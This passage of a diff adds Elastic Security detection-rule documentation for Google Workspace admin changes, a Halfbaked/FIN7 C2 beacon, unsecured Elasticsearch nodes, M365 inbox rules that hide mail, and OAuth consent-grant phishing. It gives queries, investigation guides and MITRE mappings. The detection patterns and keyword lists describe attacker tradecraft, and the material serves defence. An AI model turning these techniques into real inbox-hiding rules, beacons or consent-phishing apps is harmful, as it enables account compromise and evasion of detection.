Optionally filter on the actor with `user.email` to isolate changes from the same administrator. + - Review all `google_workspace.admin.privilege.name` values returned to understand the full scope of the modification. +- Search Kibana for principals recently assigned the role to determine blast radius: + - Use the following KQL example: + ``` + data_stream.dataset: "google_workspace.admin" and event.action: "ASSIGN_ROLE" and google_workspace.admin.role.name: "" + ``` + - Review `user.target.email` and `user.target.name` for user/group assignments. +- Scope for related activity by searching for the same `user.email` (actor) performing other IAM or security actions such as `ASSIGN_ROLE`, `CREATE_ROLE`, `CREATE_USER`, or security policy changes within the last 48 hours. +- Evaluate whether principals assigned the modified role performed suspicious activity after the change: + - Review admin/audit events for security control changes, user or group changes, and Gmail configuration changes. + + +*False positive analysis* + + +- Verify the role modification aligns with approved administrative duties, an authorized change window, and the organization's access governance process. +- Confirm the initiating admin account is legitimate and not modifying roles from unusual IPs, devices, or locations. +- Selecting a privilege category in the Admin console can add multiple related privileges in one action; alert suppression should consolidate these into a single alert. +- Compare the modified role's privileges against the stated business need; overly broad privileges warrant closer review even if the change was authorized. + + +*Response and remediation* + + +- Initiate the incident response process based on triage findings. +- If the modification is not clearly authorized, revert the role privileges to their prior state and/or remove the role assignment from affected users or groups while the investigation proceeds. +- For suspected compromise of the initiating admin account: + - Reset credentials, revoke active sessions, enforce MFA re-enrollment, and review delegation/OAuth grants for persistence. + - Validate recovery email/phone settings and account security posture. +- Review whether principals assigned the modified role require the new privileges, and replace broad custom roles with narrower delegated roles where feasible. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:google_workspace.admin and event.provider:admin and event.category:iam and event.action:(ADD_PRIVILEGE or UPDATE_ROLE) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-google-workspace-suspended-user-account-renewed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-google-workspace-suspended-user-account-renewed.asciidoc new file mode 100644 index 0000000000..cb7b10d952 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-google-workspace-suspended-user-account-renewed.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-28-google-workspace-suspended-user-account-renewed]] +=== Google Workspace Suspended User Account Renewed + +Detects when a previously suspended user's account is renewed in Google Workspace. An adversary may renew a suspended user account to maintain access to the Google Workspace organization with a valid account. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace.admin-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/1110339 +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Google Workspace Suspended User Account Renewed* + + +Google Workspace manages user identities and access, crucial for organizational security. Adversaries may exploit the renewal of suspended accounts to regain unauthorized access, bypassing security measures. The detection rule identifies such events by monitoring specific administrative actions, helping analysts spot potential misuse and maintain secure access controls. + + +*Possible investigation steps* + + +- Review the event logs for the specific action `UNSUSPEND_USER` to identify the user account that was renewed and gather details about the timing and context of the action. +- Check the identity of the administrator or service account that performed the `UNSUSPEND_USER` action to determine if the action was authorized or if there are signs of account compromise. +- Investigate the history of the suspended user account to understand why it was initially suspended and assess any potential risks associated with its renewal. +- Examine recent activity logs for the renewed user account to identify any suspicious behavior or unauthorized access attempts following the account's reactivation. +- Cross-reference the event with other security alerts or incidents to determine if the renewal is part of a broader pattern of suspicious activity within the organization. + + +*False positive analysis* + + +- Routine administrative actions may trigger the rule when IT staff unsuspend accounts for legitimate reasons, such as resolving a temporary issue. To manage this, create exceptions for known IT personnel or specific administrative actions that are part of regular account maintenance. +- Automated processes or scripts that unsuspend accounts as part of a workflow can also lead to false positives. Identify and document these processes, then exclude them from triggering alerts by using specific identifiers or tags associated with the automation. +- User accounts that are temporarily suspended due to policy violations or inactivity and later reinstated can cause false positives. Implement a review process to verify the legitimacy of these reinstatements and adjust the rule to exclude such cases when they are part of a documented policy. + + +*Response and remediation* + + +- Immediately review the user account activity logs to determine if any unauthorized actions were taken after the account was unsuspended. Focus on sensitive data access and changes to security settings. +- Temporarily suspend the user account again to prevent further unauthorized access while the investigation is ongoing. +- Notify the security team and relevant stakeholders about the potential security incident to ensure coordinated response efforts. +- Conduct a thorough review of the account's permissions and access levels to ensure they align with the user's current role and responsibilities. Adjust as necessary to follow the principle of least privilege. +- If malicious activity is confirmed, initiate a password reset for the affected account and any other accounts that may have been compromised. +- Implement additional monitoring on the affected account and similar accounts to detect any further suspicious activity. +- Review and update security policies and procedures related to account suspension and reactivation to prevent similar incidents in the future. + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: google_workspace.admin and google_workspace.event.type: "USER_SETTINGS" and event.action: "UNSUSPEND_USER" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-halfbaked-command-and-control-beacon.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-halfbaked-command-and-control-beacon.asciidoc new file mode 100644 index 0000000000..3745f40515 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-halfbaked-command-and-control-beacon.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-28-halfbaked-command-and-control-beacon]] +=== Halfbaked Command and Control Beacon + +Halfbaked is a malware family used to establish persistence in a contested network. This rule detects a network activity algorithm leveraged by Halfbaked implant beacons for command and control. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html +* https://attack.mitre.org/software/S0151/ + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Command and Control +* Domain: Endpoint +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Halfbaked Command and Control Beacon* + + +Halfbaked malware exploits common network protocols to maintain persistence and facilitate command and control (C2) operations within compromised networks. Adversaries leverage HTTP and TLS protocols to disguise malicious traffic as legitimate, often targeting specific ports like 53, 80, 8080, and 443. The detection rule identifies suspicious network patterns, such as unusual URL structures and specific transport protocols, to flag potential C2 beaconing activities. + + +*Possible investigation steps* + + +- Review the network traffic logs to identify any connections to IP addresses matching the pattern specified in the query (e.g., http://[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/cd) and determine if these IPs are known or suspicious. +- Analyze the destination ports (53, 80, 8080, 443) used in the flagged traffic to assess if they align with typical usage patterns for the affected systems or if they indicate potential misuse. +- Examine the HTTP and TLS traffic details to identify any unusual URL structures or anomalies in the network.protocol field that could suggest malicious activity. +- Correlate the detected network activity with endpoint logs to identify any associated processes or applications that may have initiated the suspicious traffic. +- Investigate any related alerts or historical data for patterns of similar activity, which could indicate a persistent threat or ongoing compromise within the network. + + +*False positive analysis* + + +- Legitimate software updates or patch management systems may use similar URL structures and ports, leading to false positives. Users can create exceptions for known update servers by whitelisting their IP addresses or domain names. +- Internal web applications or services that use non-standard ports like 8080 for HTTP traffic might trigger the rule. Identify these applications and exclude their traffic from the rule by specifying their IP addresses or domain names. +- Network monitoring tools or security appliances that perform regular scans or health checks over HTTP or TLS might mimic the detected patterns. Exclude these tools by adding their IP addresses to an exception list. +- Content delivery networks (CDNs) often use IP-based URLs for load balancing and might be mistaken for malicious activity. Verify the legitimacy of the CDN traffic and exclude it by whitelisting the associated IP ranges. +- Automated scripts or bots within the network that access external resources using IP-based URLs could trigger alerts. Review these scripts and, if deemed safe, exclude their traffic by specifying their source IP addresses. + + +*Response and remediation* + + +- Isolate the affected systems from the network immediately to prevent further communication with the command and control server. +- Conduct a thorough scan of the isolated systems using updated antivirus and anti-malware tools to identify and remove the Halfbaked malware. +- Analyze network traffic logs to identify other potentially compromised systems by looking for similar suspicious network patterns and URL structures. +- Block the identified malicious IP addresses and domains at the network perimeter to prevent further communication attempts. +- Apply security patches and updates to all systems and applications to close vulnerabilities exploited by the malware. +- Restore affected systems from clean backups, ensuring that the backups are free from any signs of compromise. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the scope of the breach. + + +*Threat intel* + + +This activity has been observed in FIN7 campaigns. + +==== Rule query + + +[source, js] +---------------------------------- +from packetbeat-*, filebeat-*, logs-network_traffic.* metadata _id, _version, _index +| where ( + data_stream.dataset in ("network_traffic.tls", "network_traffic.http") or + (event.category in ("network", "network_traffic") and network.protocol == "http") + ) +| where network.transport == "tcp" +| where url.full RLIKE "http://[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}/cd" +| where destination.port in (53, 80, 8080, 443) +| keep @timestamp, url.full, source.ip, destination.ip, destination.port, network.protocol, data_stream.dataset, _id, _version, _index + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Dynamic Resolution +** ID: T1568 +** Reference URL: https://attack.mitre.org/techniques/T1568/ +* Sub-technique: +** Name: Domain Generation Algorithms +** ID: T1568.002 +** Reference URL: https://attack.mitre.org/techniques/T1568/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-inbound-connection-to-an-unsecure-elasticsearch-node.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-inbound-connection-to-an-unsecure-elasticsearch-node.asciidoc new file mode 100644 index 0000000000..67f12d258a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-inbound-connection-to-an-unsecure-elasticsearch-node.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-28-inbound-connection-to-an-unsecure-elasticsearch-node]] +=== Inbound Connection to an Unsecure Elasticsearch Node + +Identifies Elasticsearch nodes that do not have Transport Layer Security (TLS), and/or lack authentication, and are accepting inbound network connections over the default Elasticsearch port. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* logs-network_traffic.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/elasticsearch/reference/current/configuring-security.html +* https://www.elastic.co/guide/en/beats/packetbeat/current/packetbeat-http-options.html#_send_all_headers + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Reconnaissance +* Domain: Endpoint +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Inbound Connection to an Unsecure Elasticsearch Node* + + +Elasticsearch is a powerful search and analytics engine often used for log and data analysis. When improperly configured without TLS or authentication, it becomes vulnerable to unauthorized access. Adversaries can exploit these weaknesses to gain initial access, exfiltrate data, or disrupt services. The detection rule identifies unsecured nodes by monitoring inbound HTTP traffic on the default port, flagging connections lacking authentication headers, thus highlighting potential exploitation attempts. + + +*Possible investigation steps* + + +- Review the source IP address of the inbound connection to determine if it is from a known or trusted entity. Cross-reference with internal asset inventories or threat intelligence sources. +- Examine the network traffic logs for any unusual patterns or repeated access attempts from the same source IP, which might indicate a brute force or scanning activity. +- Check for any data exfiltration attempts by analyzing outbound traffic from the Elasticsearch node, focusing on large data transfers or connections to unfamiliar external IPs. +- Investigate the absence of authentication headers in the HTTP requests to confirm if the Elasticsearch node is indeed misconfigured and lacks proper security controls. +- Assess the configuration of the Elasticsearch node to ensure that TLS is enabled and authentication mechanisms are properly implemented to prevent unauthorized access. +- Look for any other alerts or logs related to the same Elasticsearch node or source IP to identify potential coordinated attack activities or previous incidents. + + +*False positive analysis* + + +- Internal monitoring tools or scripts that regularly check Elasticsearch node status without authentication can trigger false positives. Exclude these specific IP addresses or user agents from the rule to reduce noise. +- Automated backup systems that interact with Elasticsearch nodes without using authentication headers might be flagged. Identify these systems and create exceptions based on their IP addresses or network segments. +- Development or testing environments where Elasticsearch nodes are intentionally left unsecured for testing purposes can generate alerts. Use network segmentation or specific tags to differentiate these environments and exclude them from the rule. +- Security scans or vulnerability assessments conducted by internal teams may access Elasticsearch nodes without authentication, leading to false positives. Whitelist the IP ranges used by these security tools to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected Elasticsearch node from the network to prevent further unauthorized access or data exfiltration. +- Conduct a thorough review of access logs to identify any unauthorized access or data exfiltration attempts, focusing on connections lacking authentication headers. +- Implement Transport Layer Security (TLS) and enable authentication mechanisms on the Elasticsearch node to secure communications and restrict access to authorized users only. +- Reset credentials and API keys associated with the Elasticsearch node to prevent further unauthorized access using potentially compromised credentials. +- Notify the security team and relevant stakeholders about the incident, providing details of the unauthorized access and steps taken to contain the threat. +- Monitor the network for any signs of continued unauthorized access attempts or related suspicious activity, adjusting detection rules as necessary to capture similar threats. +- Document the incident, including the response actions taken, and conduct a post-incident review to identify any gaps in security controls and improve future response efforts. + +==== Setup + + +This rule requires the addition of port `9200` and `send_all_headers` to the `HTTP` protocol configuration in `packetbeat.yml`. See the References section for additional configuration documentation. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset: network_traffic.http or (event.category: network_traffic and network.protocol: http)) and +http.response.status_code: 200 and destination.port: 9200 and network.direction: (inbound or ingress) and +not http.response.headers.content-type: "image/x-icon" and not http.request.headers.authorization: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-m365-exchange-inbox-phishing-evasion-rule-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-m365-exchange-inbox-phishing-evasion-rule-created.asciidoc new file mode 100644 index 0000000000..d3426c475f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-m365-exchange-inbox-phishing-evasion-rule-created.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-28-m365-exchange-inbox-phishing-evasion-rule-created]] +=== M365 Exchange Inbox Phishing Evasion Rule Created + +Identifies when a user creates a new inbox rule in Microsoft 365 that deletes or moves emails containing suspicious keywords. Adversaries who have compromised accounts often create inbox rules to hide alerts, security notifications, or other sensitive messages by automatically deleting them or moving them to obscure folders. Common destinations include Deleted Items, Junk Email, RSS Feeds, and RSS Subscriptions. This is a New Terms rule that triggers only when the user principal name and associated source IP address have not been observed performing this activity in the past 14 days. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/defender-office-365/detect-and-remediate-outlook-rules-forms-attack +* https://learn.microsoft.com/en-us/defender-xdr/alert-grading-playbook-inbox-manipulation-rules +* https://blog.barracuda.com/2023/09/20/threat-spotlight-attackers-inbox-rules-evade-detection + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Domain: Email +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic +* Jamie Lee +* Marco Pedrinazzi + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 Exchange Inbox Phishing Evasion Rule Created* + + +This detection identifies the creation of potentially malicious inbox rules in Microsoft 365. These rules automatically delete or move emails with specific keywords such as "invoice", "payment", "security", or "phish". Adversaries often use these rules post-compromise to conceal warning emails, alerts from security tools, or responses from help desk teams, thereby evading detection and maintaining access. + +This is a new terms rule that alerts only when the combination of `user.id` and `source.ip` has not performed this activity in the last 14 days. + + +*Possible investigation steps* + + +- Review the `user.id` and `user.email` fields to identify the user account that created the inbox rule. +- Confirm the rule creation action in `event.action` is `New-InboxRule` and that the `event.outcome` is `success`. +- Investigate the `o365.audit.Parameters.SubjectContainsWords` field for sensitive or suspicious keywords such as: + - `invoice`, `payment`, `reset`, `phish`, `login`, `fraud`, `alert`, etc. +- Check if the rule performs any of the following: + - `MoveToFolder`: suspicious folders like `RSS Feeds`, `Junk Email`, or `Deleted Items`. + - `DeleteMessage`: if present, suggests the rule is meant to hide communications. +- Review the `source.ip` and `source.geo.*` fields to validate whether the IP address and location match expected user behavior. +- Examine whether the rule was created via a suspicious interface like Exchange Admin or through external automation. +- Check for recent sign-in anomalies, credential changes, or unusual mailbox activity for the user (e.g., email forwarding, MFA prompts). + + +*False positive analysis* + + +- Some rules may be created by users for legitimate purposes (e.g., moving newsletters). +- Outlook plugins or automated email management tools could create rules that resemble this behavior. +- Newly onboarded employees might configure rules for personal filtering without malicious intent. + + +*Response and remediation* + + +- If the rule is determined to be malicious: + - Remove the inbox rule immediately. + - Review the user’s mailbox for signs of data theft or additional manipulation (e.g., auto-forwarding, altered reply-to addresses). + - Investigate surrounding activity such as MFA changes, token refreshes, or admin role assignments. + - Revoke tokens and initiate a password reset for the compromised user. +- If broader compromise is suspected: + - Review audit logs for other inbox rule creations across the tenant. + - Check whether other users from the same source IP performed similar activity. + - Educate the user on safe email handling and rule creation best practices. +- Strengthen detection: + - Enable Microsoft Defender for Office 365 Safe Rules. + - Use mailbox auditing and DLP policies to monitor hidden inbox activity. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "o365.audit" and + event.action: ("New-InboxRule" or "Set-InboxRule") and event.outcome: "success" and + ( + o365.audit.Parameters.BodyContainsWords: "\u0000" or + o365.audit.Parameters.WithinSizeRangeMinimum <= 1023 or + o365.audit.Parameters.SubjectContainsWords: ( + *phish* or + *hack* or + *alert* or + *malware* or + *security* or + *invoice* or + *payment* or + *wire* or + *transfer* or + *fraud* or + *reset* or + *unusual* or + *protection* or + *login* or + *suspicious* + ) + ) and ( + o365.audit.Parameters.DeleteMessage: True or + o365.audit.Parameters.MoveToFolder: ( + *Deleted* or + *Junk* or + *RSS* or + *Calendar* + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Email Hiding Rules +** ID: T1564.008 +** Reference URL: https://attack.mitre.org/techniques/T1564/008/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Office Application Startup +** ID: T1137 +** Reference URL: https://attack.mitre.org/techniques/T1137/ +* Sub-technique: +** Name: Outlook Rules +** ID: T1137.005 +** Reference URL: https://attack.mitre.org/techniques/T1137/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-m365-identity-oauth-illicit-consent-grant-by-rare-client-and-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-m365-identity-oauth-illicit-consent-grant-by-rare-client-and-user.asciidoc new file mode 100644 index 0000000000..ce892d6eab --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-m365-identity-oauth-illicit-consent-grant-by-rare-client-and-user.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-28-m365-identity-oauth-illicit-consent-grant-by-rare-client-and-user]] +=== M365 Identity OAuth Illicit Consent Grant by Rare Client and User + +Identifies an Microsoft 365 illicit consent grant request on-behalf-of a registered Entra ID application. Adversaries may create and register an application in Microsoft Entra ID for the purpose of requesting user consent to access resources in Microsoft 365. This is accomplished by tricking a user into granting consent to the application, typically via a pre-made phishing URL. This establishes an OAuth grant that allows the malicious client applocation to access resources in Microsoft 365 on-behalf-of the user. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/midnight-blizzard-microsoft-breach-analysis-and-best-practices +* https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/detect-and-remediate-illicit-consent-grants?view=o365-worldwide +* https://www.cloud-architekt.net/detection-and-mitigation-consent-grant-attacks-azuread/ +* https://docs.microsoft.com/en-us/defender-cloud-apps/investigate-risky-oauth#how-to-detect-risky-oauth-apps +* https://learn.microsoft.com/en-us/office/office-365-management-api/office-365-management-activity-api-schema + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Initial Access +* Tactic: Credential Access + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity OAuth Illicit Consent Grant by Rare Client and User* + + +Adversaries may register a malicious application in Microsoft Entra ID and trick users into granting excessive permissions via OAuth consent. These apps can access sensitive Microsoft 365 data—such as mail, profiles, and files—on behalf of the user once consent is granted. This activity is often initiated through spearphishing campaigns that direct the user to a pre-crafted OAuth consent URL. + +This rule identifies a new consent grant to an application using Microsoft 365 audit logs. Additionally, this is a New Terms rule that will only trigger if the user and client ID have not been seen doing this activity in the last 14 days. + + +*Possible investigation steps* + + +- **Review the app in Entra ID**: + - Go to **Enterprise Applications** in the Azure portal. + - Search for the `AppId` or name from `o365.audit.ObjectId`. + - Review granted API permissions and whether admin consent was required. + - Check the `Publisher` and `Verified` status. + +- **Assess the user who granted consent**: + - Investigate `o365.audit.UserId` (e.g., `terrance.dejesus@...`) for signs of phishing or account compromise. + - Check if the user was targeted in recent phishing simulations or campaigns. + - Review the user’s sign-in logs for suspicious geolocation, IP, or device changes. + +- **Determine scope and risk**: + - Check `o365.audit.ModifiedProperties.ConsentAction_Reason.NewValue` to determine whether Microsoft's own risk heuristics flagged the application. A value of `Risky application detected` means Microsoft scored the app as suspicious at the time consent was granted and should raise the priority of the review. This reason is only populated on admin-consent events, and its absence does not clear the application; a flagged app is also not necessarily malicious, since Microsoft's heuristic can flag legitimate apps. + - Use the `ConsentContext_IsAdminConsent` and `ConsentContext_OnBehalfOfAll` flags to assess privilege level. + - Review `o365.audit.ModifiedProperties.ConsentAction_Permissions.NewValue` for the granted scopes. Combinations such as `offline_access` with `Mail.ReadWrite`, `Files.ReadWrite.All`, or `Chat.Read` are characteristic of mailbox and file exfiltration and indicate potential data exposure. + - Cross-reference affected `Target` objects with known business-critical assets or data owners. + +- **Correlate additional telemetry**: + - Review logs from Defender for Cloud Apps (MCAS), Microsoft Purview, or other DLP tooling for unusual access patterns. + - Search for `AppId` across your tenant to determine how widely it's used. + + +*False positive analysis* + + +- Not all consent grants are malicious. Verify if the app is business-approved, listed in your app catalog, or commonly used by users in that role or department. +- Consent reasons like `WindowsAzureActiveDirectoryIntegratedApp` could relate to integrated services, though these still require verification. +- A `ConsentAction_Reason` of `Risky application detected` raises confidence that the consent is worth investigating, but Microsoft's risk heuristic is advisory and can flag legitimate applications (including internal line-of-business apps and newly registered tenant applications). Its absence does not make the consent benign, so weigh it alongside the requested scopes, admin-consent context, and the application's publisher. + + +*Response and remediation* + + +- **If the app is confirmed malicious**: + - Revoke OAuth consent using the https://learn.microsoft.com/en-us/graph/api/oauth2permissiongrant-delete[Microsoft Graph API]. + - Remove any related service principals from Entra ID. + - Block the app via the Conditional Access "Grant" control or Defender for Cloud Apps policies. + - Revoke refresh tokens and require reauthentication for affected users. + - Notify end-users and IT of the potential exposure. + - Activate your phishing or OAuth abuse response playbook. + +- **Prevent future misuse**: + - Enable the https://learn.microsoft.com/en-us/azure/active-directory/manage-apps/configure-admin-consent-workflow[Admin consent workflow] to restrict user-granted consent. + - Audit and reduce overprivileged applications in your environment. + - Consider using Defender for Cloud Apps OAuth app governance. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "o365.audit" + and o365.audit.Actor.Type: 5 + and event.action: "Consent to application." + and event.outcome: "success" + and o365.audit.Target.Type: (0 or 2 or 3 or 9 or 10) + and o365.audit.UserId: * + and o365.audit.ObjectId: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: 